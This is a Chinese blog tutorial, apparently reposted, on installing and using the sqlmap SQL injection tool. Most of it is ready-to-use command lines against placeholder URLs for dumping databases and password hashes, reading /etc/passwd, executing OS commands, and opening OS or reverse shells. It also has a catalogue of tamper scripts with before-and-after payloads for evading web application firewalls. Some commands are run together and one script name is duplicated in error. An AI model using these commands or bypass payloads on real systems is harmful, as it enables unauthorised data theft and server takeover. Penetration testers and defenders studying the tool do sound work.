数据库
首页 > 数据库> > SQL注入篇——sqlmap安装使用详解

SQL注入篇——sqlmap安装使用详解

作者:互联网

sqlmap简介

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

 

sqlmap是一个开源的***测试工具,它自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎、最终***测试器的许多利基特性和广泛的开关,从数据库指纹、从数据库获取数据到通过带外连接访问底层文件系统和在操作系统上执行命令。

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

sqlmap功能

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

sqlmap安装

安装包下载地址:https://pypi.org/project/sqlmap/#files

1.将安装好的软件包解压到C盘根目录下

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

2.然后进入此文件夹复制路径

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

3.将复制的路径添加到系统环境变量

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

4.启动cmd终端,输入sqlmap.py使用此工具

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

sqlmap使用

获取基本内容

sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称

sqlmap -u "http://www.xxoo.com/news?id=1" --current-db # 获取当前数据库名称

sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #获取列表名

sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0#获取字段名

sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容

重要信息获取

sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型

sqlmap -u "http://url/news?id=1" --users #列数据库用户

sqlmap -u "http://url/news?id=1" --dbs #列数据库

sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码

sqlmap -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20 条

sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表sqlmap -u "http://url/news?id=1" --privileges #查看权限

sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员

sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色

sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 # 列出当前库所有表

sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news?id=1" -b #获取banner信息sqlmap -u "http://url/news?id=1" --data "id=3" #post注入

sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型

sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" # 指定关键词

sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令sqlmap -u "http://url/news?id=1" --file /etc/passwd

sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell

sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell

sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度

sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume # 恢复已保存进度

高级用法

-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入

sqlmap -g “google语法” --dump-all --batch #google搜索注入点自动 跑出所有字段 需保证google.com能正常访问

–technique 测试指定注入类型\使用的技术

不加参数默认测试所有注入技术

• B: 基于布尔的SQL 盲注

• E: 基于显错 sql 注入

• U: 基于 UNION 注入

• S: 叠层 sql 注入

• T: 基于时间盲注

SQLMap Tamper

–tamper 通过编码绕过 WEB 防火墙(WAF) Sqlmap 默认用 char()

SQLMap的tamper使用命令如下:

常用的tamper脚本

sql -u [url] --tamper  [模块名]

1.apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper(“1 AND ‘1’='1”)
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

2.base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper(“1’ AND SLEEP(5)#”)
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

3.multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper(‘1 UNION SELECT foobar’)
使用脚本后:1 UNION SELECT foobar

4.space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT+id+FROM+users

5.nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将
select替换为空)
使用脚本前:tamper(‘1 UNION SELECT 2–’)
使用脚本后:1 UNIOUNIONN SELESELECTCT 2–

6.space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Did%0DFROM%0Ausers

7.unionalltounion.py
适用数据库:ALL
作用:将union allselect 替换为unionselect
使用脚本前:tamper(’-1 UNION ALL SELECT’)
使用脚本后:-1 UNION SELECT

8.securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper(‘1 AND 1=1’)
使用脚本后:1 AND 1=1 and ‘0having’=‘0having’

9.space2dash.py
适用数据库:ALL
作用:将空格替换为–,并添加一个随机字符串和换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

10.space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’,
‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Eid%0DFROM%07users

11.percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL
9.0
作用:在每个字符前添加一个%
使用脚本前:tamper(‘SELECT FIELD FROM TABLE’)
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

12.sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password

13.charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

14.randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper(‘INSERT’)
使用脚本后:INseRt

15.charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’)
使用脚本后:
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u
0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

16.space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为//
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT//id//FROM//users

17.equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’)
使用脚本后:SELECT * FROM users WHERE id LIKE 1

18.equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper(‘1 AND A > B’)
使用脚本后:1 AND GREATEST(A,B+1)=A

19.ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper(‘IFNULL(1, 2)’)
使用脚本后:IF(ISNULL(1),2,1)

20.modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper(‘1 AND 2>1–’)
使用脚本后:1 /!30874AND 2>1/–

21.space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Bid%0DFROM%0Cusers

22.modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/!00000/)进行注入
使用脚本前:tamper(‘1 AND 2>1–’)
使用脚本后:1 /!00000AND 2>1/–

23.space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 – ,并追随一个换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1–%0AAND–%0A9227=9227

24.bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
使用脚本后:SELECT%09id FROM users where id LIKE 1

25.versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(
32)),CHAR(58,100,114,117,58))#

26.halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper(“value’ UNION ALL SELECT
CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa”)
使用脚本后:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNUL
L(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa

27.space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

28.apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper(“1 AND ‘1’='1”)
使用脚本后:1 AND %00%271%00%27=%00%271

29.appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper(‘1 AND 1=1’)
使用脚本后:1 AND 1=1%00

30.chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F
%254D%2520%2554%2541%2542%254C%2545

31.unmagicquotes.py
适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper(“1’ AND 1=1”)
使用脚本后:1%bf%27 AND 1=1–

32.randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper(‘INSERT’)
使用脚本后:I//N//SERT
sqlmap -u "http://url/news?id=1" --smart --level 3 --users # smart 智能level 执行测试等级

***实例:

Sqlmap.py -u "http://url/news?id=1" --cookie="PHPSESSI=4b5cac51d268af5f697307bd587389bc" --dbms=mysql --users --password

 

 

标签:sqlmap,脚本,--,tamper,数据库,详解,SQL,id
来源: https://blog.51cto.com/u_15274949/2926910